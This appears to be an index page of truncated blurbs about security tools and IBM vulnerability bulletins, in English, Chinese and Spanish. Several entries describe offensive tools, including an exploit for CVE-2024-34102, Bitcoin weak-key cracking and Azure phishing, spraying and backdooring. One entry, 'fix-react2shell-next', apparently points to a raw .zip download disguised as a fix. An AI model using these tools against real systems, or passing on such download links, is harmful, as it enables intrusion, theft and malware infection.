vuke

vuke Research tool for analyzing and reproducing vulnerable Bitcoin key generation. Features Modular architecture - pluggable sources and transforms Multiple input sources Numeric ranges test weak seeds Wordlists brainwallet analysis Timestamps time-based PRNG exploitation Stdin streaming pipelin...

scrying

NCC Group Scrying A new tool for collecting RDP, web and VNC screenshots all in one place This tool is still a work-in-progress and should be mostly usable but is not yet complete. Please file any bugs or feature requests as GitHub issues Motivation Since Eyewitness recently dropped support for R...

assetfinder

assetfinder Find domains and subdomains potentially related to a given domain. Install If you have Go installed and configured i.e. with $GOPATH/bin in your $PATH: root@kitploit: go get -u github.com/tomnomnom/assetfinder Otherwise download a release for your platform. To make it easier to execut...

Security Bulletin: IBM Event Endpoint Management is effected by Multiple Vulnerabilities

Summary IBM Event Endpoint Management is affected by Multiple Vulnerabilities and was addressed in IBM Event Endpoint Management 11.8.2 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept extern...

dbeaver

DBeaver 面向开发人员、SQL 程序员、数据库管理员和分析师的免费多平台数据库工具。 拥有许多功能，包括模式编辑器、SQL 编辑器、数据编辑器、AI 集成、ER 图、数据导出/导入/迁移、SQL 执行计划、数据库管理工具、数据库仪表盘、空间数据查看器、代理与 SSH 隧道、自定义数据库驱动编辑器等。 开箱即用地支持超过 100 种数据库驱动。 支持任何拥有 JDBC 或 ODBC 驱动的数据库（基本上就是几乎所有现有数据库）。 支持通过 OpenAI 或 Copilot 进行智能 AI 补全和代码生成 下载 您可以从官方网站或直接通过GitHub...

EuConform

EuConform 🇪🇺 开源证据工具包，助力AI合规 开放证据格式 · 本地偏见评估 · Schema验证 · CycloneDX互操作 离线优先 · 保护隐私 · 可复用制品 · 符合WCAG 2.2 AA标准 EuConform 定义了一种用于AI合规的开放证据格式，并提供工具来生成、验证和实证评估它——完全离线且独立于供应商。 !IMPORTANT 法律免责声明 ：本工具仅提供技术指导 。它不构成 法律建议，也不能替代 指定机构或专业法律咨询的具有法律约束力的合规评估。在进行合规决策时，请务必咨询合格的法律专业人士。 🚀 快速开始 · 📖 文档 · 🌐 部署 · 🐛 报告问题 ✨...

Security Bulletin: IBM Operator for Apache Flink is affected by Multiple Vulnerabilities

Summary IBM Operator for Apache Flink is affected by Multiple Vulnerabilities and was addressed in BM Operator for Apache Flink 1.5.5 Vulnerability Details CVEID:CVE-2025-68161 DESCRIPTION: The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname...

declarative-policy

DeclarativePolicy：一个声明式授权库 该库提供了一个用于编写授权策略的 DSL。 它可以用于将逻辑与权限分离，并已在 GitLab.com 的生产环境中大规模使用。 该库的原始作者是 Jeanine Adkisson，版权归 GitLab 所有。 安装 在应用的 Gemfile 中添加以下内容： root@kitploit: gem 'declarativepolicy' 然后执行： root@kitploit: $ bundle install 或者通过以下方式自行安装： root@kitploit: $ gem install declarativepolicy 示例...

PacketPatch

PacketPatch：面向基于字节特征的加密流量分类的对抗性数据包实际生成与部署 论文 ：PacketPatch：面向基于字节特征的加密流量分类的对抗性数据包实际生成与部署 作者 ：Yuwei Xu, Yuanyuan Xu, Yunpeng Bai, Jiahui Chen, Kehui Song, Jie Cao, Qiao Xiang, Guang Cheng 单位 ：东南大学、紫金山实验室、天津工业大学、女王大学、厦门大学 状态 ：已接收/审稿中（Elsevier） 概述 PacketPatch...

Vanguard-Map

VANGUARD1 — 多域战术情报地图 全球移动事物的实时3D地图：实时船舶交通（AIS）、飞机、卫星、海底电缆、港口、咽喉要道和空间天气 — 以150万点地形云渲染，包含昼夜、海洋模拟和电影级镜头效果。基于Three.js和原生ES模块构建。无需构建步骤，无框架。 ▶在线演示 — 无需注册：点击开幕画面的查看演示 即可查看合成交通数据，或粘贴免费的aisstream.io密钥获取全球实时船舶数据。 尝试运行 root@kitploit: git clone https://github.com/jamalrfordii-arch/Vanguard-Map.git cd...

NovaHypervisor

NovaHypervisor 描述 NovaHypervisor 是一个基于 x64 Intel 主机的防御性虚拟机监控器。该项目的目标是通过保护防御产品（防病毒/端点防护）和内核内存结构，并防止未经授权的内核内存访问，来抵御基于内核的攻击（无论是通过“自带易受攻击驱动”（BYOVD）还是其他方式）。 NovaHypervisor 使用 C++ 和汇编编写，设计兼容 Windows 10 及更高版本。有关如何使用它的更多信息，请参阅设置部分。 !重要 该虚拟机监控器已在 Windows 11 25H2 和多个 Windows 10 版本上测试过。 如果遇到问题，请在检查是否已有未解决的...

Above

Above 用于发现网络中漏洞的网络安全嗅探工具。专为渗透测试人员和安全工程师设计。 root@kitploit: / | / / / /| | / / \ | / / \ / |/ // / // / |/ / / // |/.//|// Above: Network Security Sniffer Developer: Mahama Bazarov Caster Contact: [email protected] Version: 2.8.1 Codename: Rubens Barrichello Documentation & Usage:...

Security Bulletin: IBM Event Processing is affected by Multiple vulnerabilities

Summary IBM Event Processing is affected by Multiple vulnerabilities and were addressed in IBM Event Processing version 1.5.5 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output...

detection-rules

检测规则 Detection Rules 是 Elastic Security 所用规则的大本营。该仓库用于 Elastic Security 检测引擎（Detection Engine）规则的开发、维护、测试、验证和发布。 该仓库最初在 Elastic 的博客文章中宣布：Elastic Security 开放公共检测规则仓库。更多内容，请参阅随附的网络研讨会：Elastic Security：公共检测规则仓库介绍。 目录 检测规则 目录 仓库概述 快速开始 如何贡献 检测即代码 DaC RTAs 许可证 疑问？问题？建议？ 仓库概述 Detection Rules...

detection-rules

Detection Rules Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Security’s Detection Engine. This repository was first announced on Elastic's blog post, Elastic Security...

CVE-2024-34102

Cosmic Sting：CVE-2024-34102 利用工具 Cosmic Sting 是一款基于 Go 的工具，旨在利用 CVE-2024-34102 远程代码执行漏洞。 CVE-2024-34102 详情 Adobe Commerce 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 及更早版本受到 XML 外部实体引用限制不当（'XXE'）漏洞的影响，该漏洞可能导致任意代码执行。攻击者可通过发送引用外部实体的特制 XML 文档来利用此漏洞。利用此问题无需用户交互。 前提条件 Go（1.16 或更高版本） 安装 1. 克隆仓库： root@kitploit: gi...

ssrf-king

🔥 ssrf-king 🔥 v1.12 Latest SSRF plugin for burp that Automates SSRF Detection in all of the Request If you are facing any problems or would like a new feature that is not listed below Please create a new issue below in this form Create New Issue Upcoming Features Checklist ✔️ It will soon have a...

ssrf-king

🔥 ssrf-king 🔥 v1.12 Última Plugin SSRF para Burp que automatiza la detección de SSRF en todas las solicitudes Si enfrentas algún problema o deseas una nueva función que no esté listada abajo Por favor, crea un nuevo issue a continuación en este formulario Create New Issue Lista de próximas...

fix-react2shell-next

🚀 fix-react2shell-next - 修复您的 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 应用中的漏洞 📥 立即下载 📝 概述 fix-react2shell-next 帮助您解决 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 或 React RSC...

Vajra

Vajra - 你的云武器 关于 Vajra Vajra 是一个基于 UI 的工具，采用多种技术攻击和枚举目标 Azure 环境。 术语 Vajra 指的是印度神话中因陀罗（雷神与风暴之神）的武器。它与云的关联使其成为该工具的完美名称。 Vajra 目前支持 Azure 和 AWS 云环境，并计划在未来添加对 Google Cloud Platform 以及某些 OSINT 的支持。 目前可用的功能如下： Azure 攻击 1. 基于 OAuth 的钓鱼（非法同意授权攻击） 窃取数据 枚举环境 部署后门 发送邮件/创建规则 2. 密码喷洒 3. 密码暴力破解 枚举 1. 用户 2. 子域...